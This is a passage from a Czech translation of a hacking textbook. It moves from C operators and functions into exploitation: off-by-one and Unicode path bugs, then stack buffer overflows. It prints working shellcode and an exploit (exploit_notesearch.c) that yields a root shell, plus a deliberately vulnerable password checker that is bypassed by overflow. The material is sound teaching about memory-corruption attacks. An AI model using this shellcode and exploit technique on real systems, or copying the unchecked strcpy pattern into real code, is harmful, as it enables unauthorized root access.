Protože se změnilo pořadí operací, b bude nyní obsahovat hodnotu 36; a bude stále obsahovat 6. V programech dost často potřebujeme modifikovat obsah proměnné na místě. Například potřebujete k proměnné přičíst nějakou hodnotu, řekněme 12, a výsledek ihned uložit zpět do této proměnné (například i = i + 12). To se děje tak často, že i pro tyto výrazy existují zkrácené zápisy, viz následující tabulka.


26

0x200 – Programování

Výraz

Zkrácený zápis

Vysvětlení

i = i + 12

i+=12

Přičte danou hodnotu k proměnné.

i = i – 12

i-=12

Odečte danou hodnotu od proměnné.

i = i * 12

i*=12

Vynásobí proměnnou danou hodnotou.

i = i / 12

i/=12

Vydělí proměnnou danou hodnotou.

0x243

Porovnávací operátory

Proměnné se hojně využívají v podmínkových příkazech řídicích struktur, které jsme si vysvětlili dříve. Podmínkové příkazy jsou založeny na jistém druhu porovnávání. V jazyce C se porovnávací operátory zapisují prostřednictvím zkrácené syntaxe, která se velmi běžně používá v různých programovacích jazycích. Podmínka

Symbol

Ukázka

Menší než

<

(a < b)

Větší než

>

(a > b)

Menší nebo rovno

<=

(a <= b)

Větší nebo rovno

>=

(a >= b)

Je rovno

==

(a == b)

Není rovno

!=

(a != b)

Většina operací je zřejmá, takže k nim není potřeba nic vysvětlovat, jen upozorňuji, abyste si dobře zapamatovali, jakým způsobem se zapisuje operace je rovno – jsou dvě rovnítka za sebou. Tato dvě rovnítka znamenají test na ekvivalenci, zatímco jediné rovnítko se používá pro přiřazení hodnoty do proměnné. Příkaz a = 7 znamená uložit hodnotu 7 do proměnné a, zatímco a == 7 znamená zkontrolovat, zdali má proměnná a v sobě uloženou hodnotu 7. (Některé programovací jazyky, jako například Pascal, používají pro přiřazení do proměnné operátor :=, aby vizuálně eliminovaly možnost záměny těchto operací.) Dále si všimněte, že vykřičník všeobecně znamená ne. Tento symbol se dá použít i samostatně – v takovém případě pak mění výraz na opačný. !(a < b) je ekvivalentní k (a >= b)

Porovnávací operátory se dají řetězit pomocí zkrácených zápisů logických operací OR a AND. Logika

Symbol

Ukázka

OR (NEBO)

||

((a < b) || (a < c))

AND (A)

&&

((a < b) && !(a < c))


Hacking – umění exploitace

27

Ukázkový příkaz skládající se ze dvou dílčích podmínek spojených logikou OR (NEBO) se vyhodnotí jako pravdivý (true), jestliže je a menší než b, NEBO jestliže je a menší než c. Obdobným způsobem se ukázkový příkaz skládající se ze dvou dílčích podmínek spojených logikou AND (A) vyhodnotí jako pravdivý, jestliže je a menší než b A ZÁROVEŇ a není menší než c. Dílčí podmínky lze pro lepší přehlednost dávat do kulatých závorek a může jich být více než dvě. Pomocí proměnných, porovnávacích operátorů a řídicích struktur lze vyjádřit mnoho věcí. Vraťme se k příkladu myši, která shání něco k snědku. Mít nebo nemít hlad se dá přeložit do logické proměnné s hodnotou true nebo false. Hodnota 1 pochopitelně znamená true, 0 znamená false. While (hlad == 1) { Najdi něco k snědku; Sněz to; }

A nyní se seznámíme s další zkratkou, kterou programátoři a hackeři používají dost často. C vlastně nemá logické operátory, takže jakákoli nenulová hodnota se považuje za true, a příkaz se považuje za false, obsahuje-li 0. A skutečně – porovnávací operátory opravdu vracejí hodnotu 1, jestliže se porovnávání vyhodnotí na true, a hodnotu 0, jestliže se vyhodnotí na false. Při testu, zda je proměnná hlad rovna 1, se vrátí 1, jestliže se hlad rovná 1, a 0, jestliže se hlad rovná 0. Protože se jedná pouze o dva případy, je možné porovnávací operátor vyhodit. While (hlad) { Najdi něco k snědku; Sněz to; }

Následující program chytřejší myši s více vstupy předvádí, jak se dají porovnávací operátory zkombinovat s proměnnými. While ((hlad) && !(je_tu_kočka)) { Najdi něco k snědku; If(!(jídlo_v_pastičce)) Sněz to; }

V tomto příkladu se předpokládá, že existují proměnné, které popisují přítomnost kočky a kde se nachází jídlo, přičemž hodnota 1 znamená true a 0 znamená false. Zapamatujte si ovšem, že libovolná nenulová hodnota se považuje za true, a že pouze hodnota 0 se považuje za false.


28

0x200 – Programování

0x244

Funkce

Tu a tam se vyskytne sada instrukcí, o které programátor předem ví, že ji bude několikrát potřebovat. Takové instrukce se dají seskupit do menšího podprogramu zvaného funkce. V některých jiných programovacích jazycích se jim říká subrutiny nebo procedury. Například akce pro změnu směru jízdy auta se skládá z mnoha dílčích akcí: zapnout patřičný blinkr, zpomalit, zkontrolovat okolní provoz, otočit volantem v patřičném směru atd. To znamená, že pokyny k jízdě, které byly uvedeny na začátku této kapitoly, bychom měli propracovat do daleko větších podrobností. Kdybychom ovšem měli explicitně vypisovat všechny dílčí instrukce pro každý pokyn, bylo by to velmi pracné, nehledě na to, že samotný plán jízdy by se velmi špatně četl. Potřebné proměnné se ovšem dají předat jako argumenty do funkce, aby se dalo modifikovat, jak má funkce fungovat. V našem případě předáváme do funkce proměnnou, která udává směr (doleva, doprava): Function Zatočit(proměnná_směr) { Zapnout blinkr proměnná_směr; Zpomalit; Zkontrolovat okolní provoz; while(něco jede) { Stát; Sledovat okolní provoz; } Otočit volantem proměnná_směr; while(otočení není dokončené) { if(rychlost < 5 mph) Zrychlit; } Otočit volantem zpět do původní pozice; Vypnout blinkr proměnná_směr; }

Tato funkce popisuje všechny instrukce, které potřebujete, pokud chcete změnit směr jízdy. Když program, který potřebuje zatočit, ví o této funkci, stačí mu funkci zavolat. Když se funkce zavolá, vykonají se instrukce, které jsou uvnitř, s hodnotami argumentů předaných do funkce; poté se vykonávání vrátí do programu za volání funkce. Do funkce se dá předat hodnota vyjadřující buď doleva, nebo doprava, což způsobí, že funkce zatočí autem v předaném směru. V jazyce C mohou funkce standardně vracet hodnotu volajícímu. Pro ty z vás, kdo důvěrně znáte matematické funkce, to je nepochybně zcela jasné. Představte si funkci, která vypočítává faktoriál zadaného čísla – je přirozené, že vrátí výsledek.


Hacking – umění exploitace

29

V C nejsou funkce označovány klíčovým slovem "function"; deklarují se datovým typem proměnné, kterou vracejí. Je to formát, který se velmi podobá deklaraci proměnné. Jestliže má funkce vrátit celé číslo (předpokládejme, že se jedná o funkci, která má vypočítat faktoriál čísla x), může taková funkce vypadat takto: int factorial(int x) { int i; for(i=1; i < x; i++) x *= i; return x; }

Funkce je deklarována jako celočíselná, protože vynásobí všechna celá čísla od 1 do x a vrátí výsledek, což je také celé číslo. Příkaz return, který vidíte na konci funkce, předává zpět obsah proměnné x a ukončuje funkci. Tato funkce pro výpočet faktoriálu se pak dá používat v hlavní části programu, který o ní ví, jako celočíselná proměnná. int a=5, b; b = factorial(a);

Na konci tohoto kratičkého programu bude proměnná b obsahovat hodnotu 120, protože funkce factorial byla zavolána s argumentem 5 a vrátila 120. V C je to zařízeno tak, že kompilátor musí "vědět" o funkcích dřív, než je může použít. To se dá jednoduše zařídit tak, že se celá funkce napíše předtím, než se v programu později zavolá, nebo můžete použít prototyp funkce (function prototype). Prototyp funkce je prostě způsob, jak říct kompilátoru, že má očekávat funkci s daným názvem, s daným datovým typem návratové hodnoty a s danými datovými typy argumentů funkce. Skutečná funkce může pak být umístěna ke konci programu, dá se ale volat kdekoliv, protože kompilátor už ví o její existenci. Prototyp funkce factorial() může vypadat následovně: int factorial(int);

Prototypy funkce se obvykle umisťují poblíž začátku programu. Nemusejí nutně definovat nějaké názvy proměnných, protože tohle se udělá až ve skutečné funkci. Kompilátor potřebuje znát pouze název funkce, datový typ návratové hodnoty a datové typy argumentů funkce. Pokud nemá funkce nic vracet, měla by být deklarována jako void, což je případ funkce Zatočit(), kterou jsem uvedl o něco dříve v této kapitole. Funkce Zatočit() ovšem stále ještě nepo-

krývá veškerou funkcionalitu, kterou potřebujeme pro pokyny zajišťující změnu směru jízdy. Při každém zatočení potřebujeme znát směr a název ulice. To znamená, že funkce pro zatáčení by měla mít dvě proměnné: směr zatočení, a ulici, do které chceme vjet. To je pro naši funkci jistá komplikace, protože ulice, kam se má zatočit, se musí najít ještě předtím, než začneme zatáčet. Následující výpis obsahuje pseudokód složitější zatáčecí funkce (samozřejmě v syntaxi podobné jazyku C).


0x200 – Programování

30

void Zatočit(proměnná_směr, název_cílové_ulice) { Vyhledat ceduli s názvem ulice; název_aktuální_křižovatky = přečíst ceduli s názvem ulice; while(název_aktuální_křižovatky != název_cílové_ulice) { Vyhledat ceduli jiné ulice; název_aktuální_křižovatky = přečíst ceduli s názvem ulice; } Zapnout blinkr proměnná_směr; Zpomalit; Zkontrolovat okolní provoz; while(něco jede) { Zastavit; Sledovat okolní provoz; } Otočit volantem proměnná_směr; while(otočení není dokončené) { if(rychlost < 5 mph) Zrychlit; } Otočit volantem zpět do původní pozice; Vypnout blinkr proměnná_směr; }

Tato funkce obsahuje sekci, ve které se vyhledá patřičná křižovatka tím, že se vyhledá cedule s názvem ulice a přečte se z ní název ulice, jenž se uloží do proměnné název_aktuální_křižovatky. Poté se pokračuje s vyhledáváním a čtením ulic tak dlouho, dokud se nenajde cílová ulice. V tomto okamžiku se vykonají instrukce týkající se zabočení. Pokyny k jízdě v pseudokódu mohou být nyní upraveny tak, aby se v nich použila výše uvedená zatáčecí funkce. Jeďte východním směrem po Main Street; While (napravo není kostel) Jeďte po Main Street; If (ulice je zavřená) { Zatočit(vpravo, 15th Street); Zatočit(vlevo, Pine Street); Zatočit(vpravo, 16th Street); } else


0x300 EXPLOITACE

Hlavní potravou hackera je exploitování. Jak jsme si předvedli v kapitole 2, program tvoří složitá sada pravidel. Poté následuje jistý vykonávací tok, který nakonec počítači říká, co má udělat. Exploitování programu je prostě rafinovaný způsob, jak počítač přinutit, aby dělal to, co chcete vy, a to dokonce i tehdy, pokud právě běžící program byl navržen tak, aby tomu zabránil. Protože program může opravdu dělat pouze to, pro co byl navržen, aby dělal, díry v zabezpečení jsou ve skutečnosti nedostatky nebo přehlédnutí v návrhu programu, nebo v prostředí, kde program běží. Chcete-li takové bezpečnostní díry nalézat, nebo jim předcházet, je zapotřebí, abyste uvažovali kreativně. Ačkoliv tyto díry jsou někdy důsledkem relativně očividných programátorských chyb, existují i méně zřejmé chyby, které byly porodní bábou složitějších exploitovacích technik, a ty se dají aplikovat leckde a lecjak. Program umí dělat pouze a přesně to, co je v něm naprogramováno, a to doslova. Bohužel, to, co je napsáno, se ne vždy shoduje s tím, co programátor zamýšlel, aby program dělal. Dá se to vysvětlit tímto kouzelným vtipem: Muž se prochází po lese a najednou uvidí na zemi lampu. Instinktivně ji zvedne, vypucuje rukávem a z kouzelné lampy vyskočí džin. Poděkuje muži, že ho vysvobodil a jako výraz díků nabídne, že mu splní tři přání. Muž je vzrušený na nejvyšší míru, protože přesně ví, co chce. "Nejdřív," říká muž, "chci miliardu dolarů." Džin luskne prsty a ejhle, z ničehož nic stojí před ním kufr plný peněz. Muž koulí oči nadšením a pokračuje: "Teď chci Ferrari." Džin opět luskne prsty a z oblaku kouře vyjede Ferrari. Muž pokračuje: "A ještě chci být neodolatelný pro ženy." Džin luskne prsty a muž se přemění na bonboniéru. Stejně jako bylo poslední přání splněno podle toho, co muž řekl, nikoliv podle toho, co zamýšlel, přesně stejně provádí své instrukce program. Z tohoto důvodu výsledky nemusejí odpovídat tomu, čeho chtěl programátor dosáhnout svými instrukcemi. Dopady mohou být někdy katastrofální.


142

0x300 – Exploitace

Programátoři jsou pouze lidé a to, co napíšou, občas není přesně to, co zamýšleli. Například – jedné hodně běžné programátorské chybě se říká "o jedničku vedle" (off-by-one). Jak už její název napovídá, je to chyba, kdy se programátor splete o jedničku. Stává se to častěji, než si možná myslíte, a dobře se to dá předvést na následující otázce. Potřebujete postavit plot, máte pletivo v délce 30 m a jednotlivé kůly mají být od sebe tři metry. Kolik kůlů budete celkem potřebovat? Zbrklá intuitivní odpověď je že 10, ale to je špatně, protože ve skutečnosti jich potřebujete 11. Tento typ chyby se vyskytuje tehdy, když programátor místo počtu kůlů, příčlí žebříku atd. vezme počet mezer mezi nimi (nebo naopak). Dalším typickým příkladem je situace, kdy programátor vybírá rozpětí čísel nebo prvků ke zpracování, jako třeba od N do M. Jestliže N = 5 a M = 17, kolik prvků se má zpracovat? Intuitivní odpověď vás opět může svést na scestí: M minus N, neboli 17 minus 5, tedy 12. Ale zase je to špatně, protože prvků je ve skutečnosti M minus N plus 1, tedy 13. Intuice v těchto situacích radí špatně, protože jsou v rozporu s očekáváním. A tohle právě je příčinou, proč takové triviální chyby stále vznikají. Chyby tohoto druhu se často přehlédnou, protože se netestují úplně všechny možnosti, které mohou v programu nastat, a protože při normálním vykonávání programu se účinek těchto chyb obvykle neprojeví. Jakmile se ovšem počítačový program stále více krmí vstupními daty, dříve nebo později nějaký konkrétní vstup způsobí, že se projeví efekt této chyby. Jejím důsledkem může být dominový efekt na celou logiku programu. Když se chyba "o jedničku vedle" řádně exploituje, může se zdánlivě bezpečný program stát něčím úplně opačným – bezpečnostní zranitelností. Klasickým příkladem této situace je OpenSSH, což původně měla být bezpečná terminálová komunikační sada programů navržená tak, aby nahradila nezabezpečené a nešifrované služby jako jsou telnet, rsh a rcp. V kódu pro alokaci kanálu ovšem byla chyba "o jedničku vedle", která se pak intenzivně exploitovala. Konkrétně – kód obsahoval příkaz if v tomto tvaru: if (id < 0 || id > channels_alloc) {

Měl ovšem mít následující tvar: if (id < 0 || id >= channels_alloc) {

V běžné mluvené řeči první kód znamená: pokud je ID menší než 0, nebo je ID větší než počet alokovaných kanálů, vykonej to, co je uvedeno dále, zatímco ten druhý, správný, znamená: pokud je ID menší než 0, nebo je ID větší nebo rovno počtu alokovaných kanálů, vykonej to, co je uvedeno dále. Tahle drobná chybička "o jedničku vedle" umožnila následné exploitování programu, takže normální uživatel, který se autentizoval a přihlásil, mohl získat úplná administrátorská oprávnění k systému. Takovou funkcionalitu určitě programátoři nezamýšleli, když chystali návrh takového bezpečného programu, jako je OpenSSH. Počítač holt umí tupě dělat pouze to, co se mu řekne. Další situace, o které se zdá, že plodí programátorské chyby, nastává tehdy, když program musí pod tlakem rychle modifikovat, aby se rozšířila jeho funkcionalita. Program pak bude lépe prodejný a bude se moci i zvednout jeho prodejní cena, ovšem na druhou stranu bude složitější, přičemž se zvyšuje pravděpodobnost, že se něco přehlédne. Webový server IIS společnosti Microsoft byl


Hacking – umění exploitace

143

navržen tak, aby uživatelům poskytoval statický a interaktivní obsah. Aby něco takového mohl dělat, musí tento program povolit uživatelům číst, zapisovat a spouštět programy a soubory v jistých adresářích; tato funkcionalita musí být omezena výhradně na tyto konkrétní adresáře. Pokud by toto omezení neexistovalo, uživatelé by měli úplnou kontrolu nad systémem, což je z bezpečnostního hlediska silně nežádoucí. Aby program mohl takové situaci zabránit, má v sobě kód pro kontrolu cest, který je navržen tak, že uživatelům zamezuje používat znak obrácené lomítko, takže nemohou putovat zpět po stromu adresářů a dostat se do jiných adresářů. S příchodem podpory znakové sady Unicode ovšem narůstá složitost programů. Unicode je dvoubajtová znaková sada, která byla navržena tak, aby podporovala znaky ze všech možných jazyků, včetně čínštiny a arabštiny. Když se pro znak používají dva bajty (ne pouze jeden), najednou máme možnost zakódovat desetitisíce znaků, nikoliv pouze něco přes dvě stovky, když používáme jediný bajt. Tato přidaná složitost mimo jiné znamená, že znak obrácené lomítko je možné zakódovat několika různými způsoby. Například %5c se v Unicode přeloží na obrácené lomítko, ovšem až poté, co proběhne kontrola cest. Pokud tedy někdo místo \ použil %5c, opravdu mohl putovat po adresářích, čímž vznikala již výše zmiňovaná bezpečnostní rizika. Na základě tohoto drobného přehlédnutí v konverzi znaků Unicode mohli červi Sadmind a CodeRed napadat webové stránky. Jako další obdobná ukázka principu, kdy se tupě dodržuje doslovné znění zákona na úkor litery zákona, může posloužit případ nazvaný "LaMacchia Loophole". Stejně jako počítačový program, má i právní systém Spojených států tu a tam pravidla, která neříkají zcela přesně to, co jejich tvůrci mysleli, a podobně jako počítačový program typu exploit, i mezera v zákoně (loophole) se dá použít k tomu, aby se takový zákon obešel. Koncem roku 1993 David LaMacchia, jednadvacetiletý počítačový hacker a student MIT, zveřejnil adresu své BBS (Bulletin Board System) s názvem Cynosure, která byla vytvořena pro potřeby softwarového pirátství. Kdo nabízel nějaký software, mohl ho tam nahrát; kdo nějaký software sháněl, mohl si jej z tohoto místa stáhnout. Ačkoliv tato služba byla v provozu pouze 6 týdnů, natolik zatížila celosvětový síťový provoz, že nakonec přitáhla pozornost univerzity a federálních úřadů. Softwarové společnosti prohlásily, že kvůli Cynosure přišly o milión dolarů, a velká federální porota obvinila LaMacchiu, že spolu s jinými neznámými osobami spáchal wire fraud, neboli komunikační zločin (což je v USA přesně definovaný právnický termín, viz http://en.wikipedia.org/wiki/Wire_fraud). Obvinění ovšem bylo nakonec staženo, protože se zjistilo, že to, co LaMacchia údajně spáchal, neznamenalo, že by došlo k porušení copyrightu (copyright infringement), protože z distribuce softwaru neměl žádný komerční prospěch a ani osobní finanční profit. Je evidentní, že tvůrci zákonů vůbec nepředpokládali, že by se mohl vyskytnout někdo, kdo by se angažoval v těchto aktivitách, a měl by jiný motiv než na nich vydělat. (V roce 1997 Kongres toto opomenutí v zákoně opravil schválením zákona No Electronic Theft Act.) Přestože se tento příklad netýkal exploitace nějakého počítačového programu, lze soudce a porotu chápat jako počítače vykonávající program právního systému tak, jak byl napsán. Můžeme tedy říci, že abstraktní pojmy z oblasti hackingu přesahují svět počítačů a dají se aplikovat na mnohé jiné aspekty běžného života, který je plný složitých systémů.


144

0x300 – Exploitace

0x310 Všeobecné exploitační techniky Chyby "o jedničku vedle" a nepatřičné rozšiřování Unicode patří mezi trapné omyly, které se někdy stávají, ovšem programátor jasně a zřetelně vidí, jak by se mohly exploitovat, pokud je v programu nechal. Existují ovšem i jiné běžné chyby, které se dají exploitovat zdaleka méně očividným způsobem, než tomu bylo v předchozích situacích. Dopad těchto omylů na bezpečnost není vždy úplně zřejmý, ale problémy s bezpečností se v kódu dají najít téměř všude. Protože stejný druh omylů se dělá na mnoha různých místech, vyvinuly se všeobecné exploitační techniky, aby se dalo lépe těžit ze stejných omylů vyskytujících se v mnoha rozmanitých situacích. Většina exploitačních programů (říká se jim exploity) má něco společného s narušením paměti. Sem patří jak běžné exploitační techniky, jako je například přetečení bufferu, tak i méně běžné metody, například exploitace formátovacího řetězce. Finálním cílem těchto technik je převzít kontrolu nad vykonáváním toku programu. To se dělá tak, že program bude nějakým trikem donucen, aby vykonal úsek zákeřného kódu, který byl propašován do paměti. Tomuto druhu hackerského napadení se říká vykonání svévolného kódu (execution of arbitrary code), protože program bude dělat ne to, co má, ale to, co si usmyslel hacker. Podobně jako v kauze Davida LaMacchia existují zranitelná místa proto, že jsou to konkrétní neočekávané případy, které program neumí nebo opomněl zpracovat. Za normálních okolností tyto neočekávané případy způsobí, že program zhavaruje – jinak řečeno, ztratí vládu nad řízením. Jestliže ovšem máme propracovanou kontrolu nad prostředím, můžeme také mít kontrolu nad tokem vykonávání. To znamená, že zabráníme havárii a daný postup přeprogramujeme ke svému užitku.

0x320 Přetečení paměti Ačkoliv zranitelnosti založené na přetečení bufferu existují již od počátku počítačové éry, v současnosti se pořád vyskytují. Většina internetových červů se rozmnožuje díky zranitelnostem, které vznikají po přetečení bufferu. A dokonce i nejnovější zranitelnost jazyka VML v Internet Exploreru, která byla pojmenována jako Zero-Day, je způsobena přetečením bufferu. C je sice vysokoúrovňový jazyk, nicméně předpokládá, že za integritu dat je zodpovědný programátor. Kdyby se tato zodpovědnost přenesla na kompilátor, výsledné binární kódy by byly významně pomalejší, protože u každé proměnné by se musely provádět testy integrity. Tohle by pro programátora znamenalo značnou ztrátu úrovně kontroly nad kódem, přičemž by se zkomplikoval i samotný programovací jazyk. Přestože jednoduchost jazyka C zvyšuje jak úroveň kontroly programátora nad kódem, tak i efektivnost výsledných programů, může rovněž vést k tomu, že pokud není programátor dostatečně pečlivý, programy budou zranitelnější, pokud jde o přetečení bufferu nebo tzv. úniky paměti (memory leaks). To znamená, že jakmile má proměnná přidělenou paměť, neexistují už žádná zabudovaná bezpečnostní opatření, která by zajišťovala, že obsah proměnné se musí vejít do alokované paměti. Pokud chce programátor vložit deset bajtů dat do bufferu, který má alokovaných pouze osm bajtů, bude taková akce povolena, i když bude pravděpodobně znamenat, že program zhavaruje.


Hacking – umění exploitace

145

Této situaci se říká přetečení bufferu (buffer overrun či buffer overflow), protože ty dva bajty navíc přetečou přes alokovanou paměť a přepíšou to, co se nachází dále, ať už je to cokoliv. Pokud se přepíšou kriticky důležitá data, program zhavaruje. Ukázku poskytuje kód overflow_example.c.

overflow_example.c #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { int value = 5; char buffer_one[8], buffer_two[8]; strcpy(buffer_one, "one"); /* Dá "one" do buffer_one. */ strcpy(buffer_two, "two"); /* Dá "two" do buffer_two. */ printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two); printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one); printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value); printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv[1])); strcpy(buffer_two, argv[1]); /* Zkopíruje první argument do buffer_two. */ printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two); printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one); printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value); }

S momentálními znalostmi byste měli být schopni přečíst výše uvedený zdrojový kód a zjistit, co program dělá. Po kompilaci se ve výstupu níže pokoušíme zkopírovat deset bajtů z prvního argumentu příkazového řádku do bufferu buffer_two, který má alokovaných pouze osm bajtů. reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c reader@hacking:~/booksrc $ ./overflow_example 1234567890 [BEFORE] buffer_two is at 0xbffff7f0 and contains 'two' [BEFORE] buffer_one is at 0xbffff7f8 and contains 'one' [BEFORE] value is at 0xbffff804 and is 5 (0x00000005)


146

0x300 – Exploitace

[STRCPY] copying 10 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890' [AFTER] buffer_one is at 0xbffff7f8 and contains '90' [AFTER] value is at 0xbffff804 and is 5 (0x00000005) reader@hacking:~/booksrc $

Povšimněte si, že buffer_one je v paměti umístěn těsně za buffer_two, takže když se zkopíruje deset bajtů do buffer_two, přetečou poslední dva bajty 90 do buffer_one a přepíšou to, co se tam nacházelo. Rozsáhlejší buffer pochopitelně přeteče i do dalších proměnných. A pokud se použije dostatečně velký buffer, viz následující ukázka, program zhavaruje a skoná. reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA [BEFORE] buffer_two is at 0xbffff7e0 and contains 'two' [BEFORE] buffer_one is at 0xbffff7e8 and contains 'one' [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005) [STRCPY] copying 29 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAA' [AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141) Segmentation fault reader@hacking:~/booksrc $

Tento druh havárie programu je dost běžný – vzpomeňte si na všechny situace, kdy vám spadl nějaký program, nebo kdy jste uviděli modrou obrazovku. V tomto případě se programátor dopustil drobného opomenutí – chybí zde nějaká kontrola na délku, nebo nějaké omezení pro vstup od uživatele. Ačkoliv taková opominutí vznikají poměrně snadno, například z únavy, bývá obtížnější je poté odhalit. A vskutku – program notesearch.c z kapitoly 0x200 obsahuje chybu týkající se přetečení bufferu. Ačkoliv se v C vyznáte docela dobře, pravděpodobně jste ji vůbec neodhalili. reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -------[ end of note data ]------Segmentation fault reader@hacking:~/booksrc $

Havárie programů jsou otravné, ale v rukách hackera se mohou stát vyloženě nebezpečnými. Když program havaruje, může nad ním převzít kontrolu erudovaný hacker, což může mít někdy i dost překvapivé následky. Nebezpečí tohoto druhu předvádí program exploit_notesearch.c.


Hacking – umění exploitace

147

exploit_notesearch.c #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; char *command, *buffer; command = (char *) malloc(200); bzero(command, 200);

// Vynuluje novou paměť.

strcpy(command, "./notesearch \'");

// Začátek bufferu příkazu.

buffer = command + strlen(command);

// Nastaví buffer na konec.

if(argc > 1) // Nastaví offset. offset = atoi(argv[1]); ret = (unsigned int) &i - offset;

// Nastaví návratovou adresu.

for(i=0; i < 160; i+=4)

// Naplní buffer návratovou adresou.

*((unsigned int *)(buffer+i)) = ret; memset(buffer, 0x90, 60);

// Vybuduje sled NOP.

memcpy(buffer+60, shellcode, sizeof(shellcode)-1); strcat(command, "\'"); system(command);

// Spustí exploit.

free(command); }

Zdrojový kód tohoto exploitu vysvětlím podrobně později. Všeobecně jde o to, že se vygeneruje řetězec příkazu, kterým se pak spustí program notesearch s argumentem příkazového řádku v apostrofech. Dělá se to prostřednictvím dvou následujících řetězcových funkcí – strlen() získá aktuální délku řetězce, aby se posunul ukazatel bufferu a strcat() přidá na konec příkazu uzavírající apostrof. Prostřednictvím systémové funkce se poté vykoná řetězec příkazu. Základem exploitu je buffer, který se vygeneruje mezi apostrofy. Zbytek je pouze metoda, jak doručit tuto datovou pilulku s jedem. Sledujte, co se může stát při řízené havárii programu.


0x300 – Exploitace

148

reader@hacking:~/booksrc $ gcc exploit_notesearch.c reader@hacking:~/booksrc $ ./a.out [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 -------[ end of note data ]------sh-3.2#

Exploit je na základě přetečení schopen obsluhovat shell roota, což znamená, že má úplnou kontrolu nad počítačem. Jedná se o exploit, který těží z přetečení bufferu založeného na zásobníku.

0x321

Zranitelnosti způsobené přetečením bufferu založeného na zásobníku

Exploit aplikovaný na program notesearch funguje tak, že naruší paměť, aby mohl převzít kontrolu nad tokem vykonávání. Tento princip názorně předvádí program auth_overflow.c. auth_overflow.c #include <stdio.h> #include <stdlib.h> #include <string.h> int check_authentication(char *password) { int auth_flag = 0; char password_buffer[16]; strcpy(password_buffer, password); if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1; if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s <password>\n", argv[0]); exit(0); } if(check_authentication(argv[1])) { printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); printf(" Access Granted.\n"); // Přístup udělen


Hacking – umění exploitace

149

printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else { printf("\nAccess Denied.\n");

// Přístup odmítnut

} }

Tento ukázkový prográmek prvně přebírá heslo jako svůj jediný argument příkazového řádku. Poté zavolá funkci check_authentication(), která povoluje dvě hesla. Pokud se zadá jedno ze dvou konkrétních hesel, funkce vrátí 1, což vyjadřuje, že byl k něčemu udělen přístup. Nahlédněte do zdrojového kódu – tohle všechno by vám mělo být jasné ještě předtím, než dáte kód zkompilovat, Při kompilaci uveďte přepínač -g, protože kód se bude později ladit. reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c reader@hacking:~/booksrc $ ./auth_overflow Usage: ./auth_overflow <password> reader@hacking:~/booksrc $ ./auth_overflow test Access Denied. reader@hacking:~/booksrc $ ./auth_overflow brillig -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $ ./auth_overflow outgrabe -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $

Až sem to šlo dobře, všechno funguje tak, jak má. To se ostatně očekává od něčeho tak deterministického jako je počítačový program. Přetečení může ale vést na neočekávané, nebo dokonce neslučitelné chování – přístup bude umožněn i v případě, kdy nebylo zadáno správné heslo. reader@hacking:~/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $

Ačkoliv jste už možná přišli na to, co se vlastně děje, podívejte se i přesto na celou záležitost debuggerem, abyste si ujasnili specifika této situace. reader@hacking:~/booksrc $ gdb -q ./auth_overflow Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".


0x300 – Exploitace

150

(gdb) list 1 1

#include <stdio.h>

2

#include <stdlib.h>

3

#include <string.h>

4 5

int check_authentication(char *password) {

6

int auth_flag = 0;

7

char password_buffer[16];

8 9

strcpy(password_buffer, password);

10 (gdb) 11

if(strcmp(password_buffer, "brillig") == 0)

12

auth_flag = 1;

13

if(strcmp(password_buffer, "outgrabe") == 0)

14

auth_flag = 1;

15 16

return auth_flag;

17

}

18 19

int main(int argc, char *argv[]) {

20

if(argc < 2) {

(gdb) break 9 Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9. (gdb) break 16 Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16. (gdb)

